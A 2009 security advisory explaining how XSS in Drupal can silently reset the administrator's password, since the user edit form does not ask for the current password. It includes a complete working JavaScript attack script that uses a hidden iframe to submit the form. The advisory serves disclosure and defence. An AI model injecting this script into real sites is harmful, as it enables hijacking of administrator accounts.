Drupal XSS Password Changer

2009-03-06T00:00:00
ID PACKETSTORM:75469
Type packetstorm
Reporter Justin C. Klein Keane
Modified 2009-03-06T00:00:00

Description

                                        
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Problem Description:  
  
There have been quite a few Cross Site Scripting (XSS) vulnerabilities  
discovered in Drupal modules recently. Many people scoff at XSS and  
even argue that it's a low threat vulnerability. In many cases this is  
certainly true, however XSS can be used as an element in an attack that  
leverages other security weaknesses to devastating consequence. A case  
in point is the password changing option in Drupal. Drupal does a  
wonderful job in preventing against Cross Site Request Forgery (XSRF or  
CSRF) by placing tokens in forms to validate posts. Drupal provides a  
token in the id "edit-user-edit-form-token" in the edit user form (found  
at ?a=user/X/edit where X is the user id number). A sample value  
contained in this hidden form field is  
"5545a410de3662f1844af7ee6f1ee770" - a value sufficiently long and  
random that an attacker would have great difficulty in guessing the  
value. However, the Drupal account page doesn't require users to enter  
the current account password in order to change the password to a new  
value. This flaw, combined with a well crafted XSS attack, could be  
used to change a user's password to an arbitrary value. What's worse,  
Drupal uses session cookies by default that can keep users logged into  
the site for days. This means that a user could be the victim of a  
password changing attack and not even realize their password had been  
changed for some time (until their session cookie timed out or they  
logged out of the site) when they were forced to log back in to the  
site. The user would still be able to request a password reset via  
e-mail, so they would not be locked out of the site, but they might have  
their account hijacked for some time in the interim.  
  
Exploiting the Flaw:  
  
To accomplish a malicious password change via XSS is quite easy. The  
technique can use an invisible iframe that loads the account editing  
page. This is similar to a cross site request forgery, except that by  
embedding the iframe in the target site the request does not even have  
to cross domains. The iframe loads the target page, which includes the  
Drupal generated token. The malicious script can then fill in a new  
password and submit the form, invisibly to the user.  
  
I have provided an example of such a script below. Note that this  
script is enhanced in that it will only change the user's password if  
the user has a user id of 1, or is the administrative super user. I've  
also left out the logic to alert a remote attacker of a successful  
compromise, but this is a simple feature to add. Once added to any  
page, this script will silently assess the user id of any logged in  
Drupal user who requests the page. If the user is the site admin then  
their password will be reset to "password" silently, without their  
knowledge.  
  
Why the Attack Works:  
  
This attack is possible because Drupal does not require  
re-authentication in order to perform a password reset. Because the  
malicious JavaScript writer doesn't have to provide an unknown password,  
there is no barrier to the update. In order to prevent against this  
sort of attack Drupal would have to add another field in the password  
changing (user edit) screen where users were required to enter their  
existing password.  
  
Using the Attack:  
  
The JavaScript snippet below could be injected in any number of ways  
into a site. In fact, many Drupal sites are configured so any content  
creator can use the "Full HTML" input format, which is all that is  
required to insert JavaScript into Drupal site content. Any users with  
this ability or attackers who compromised such an account, would be able  
to attack and compromise the Drupal super user account using this method.  
  
Notes:  
  
Note that in the script below the Drupal site is running at 192.168.0.2  
and the URL settings are such that the admin user edit screen is  
available at http://192.168.0.2/?q=user/1/edit. Note that this script  
could be altered to update the password of any Drupal user account, not  
necessarily just the administrator as it checks the "My account" link  
URL to determine the user id of the logged in user viewing the malicious  
Drupal content.  
  
This script was tested against Drupal 5.15 on Mozilla Firefox. Some  
modification may be necessary for other versions of Drupal, although  
Drupal 6 seems vulnerable as well. Other browsers may require separate  
JavaScript syntax to carry out this attack.  
  
Attack Script:  
  
<script>  
function alterUser() {  
var text = document.documentElement.innerHTML;  
var myAccountText = text.indexOf('My account');  
var i = myAccountText-2;  
while (! text.charAt(i).match(/[0-9]/g)) {  
i--;  
}  
myAccountNumber = text.substring(i, myAccountText-2);  
if (myAccountNumber == 1) {  
/*alert(myAccountNumber );*/  
var url = "http://192.168.0.2/?q=user/" + myAccountNumber + "/edit";  
document.write('<iframe id="foo" name="foo" width="1" height="1" >');  
document.write('</iframe>');  
window.frames['foo'].location = url;  
/* Slow it down, let the load happen */  
setTimeout('doNext()', 4000);  
}  
}  
function doNext() {  
var theDoc = document.getElementById('foo');  
foo.document.getElementById('edit-pass-pass1').value = 'password';  
foo.document.getElementById('edit-pass-pass2').value = 'password';  
foo.document.getElementById('user-edit').submit();  
/* Admin pass changed - TODO: alert evil overlords */  
}  
alterUser();  
</script>  
  
Follow Up:  
  
The Drupal security team has been notified about this issue. It seems a  
mitigation feature may be built into Drupal 7  
(http://drupal.org/node/86299, http://drupal.org/node/138805) and a  
verify password on change patch does exist (http://drupal.org/node/86711).  
  
The text of this advisory is also available at  
http://lampsecurity.org/drupal-xss-password-reset  
  
  
- --  
Justin C. Klein Keane  
http://www.MadIrish.net  
http://www.LAMPSecurity.org  
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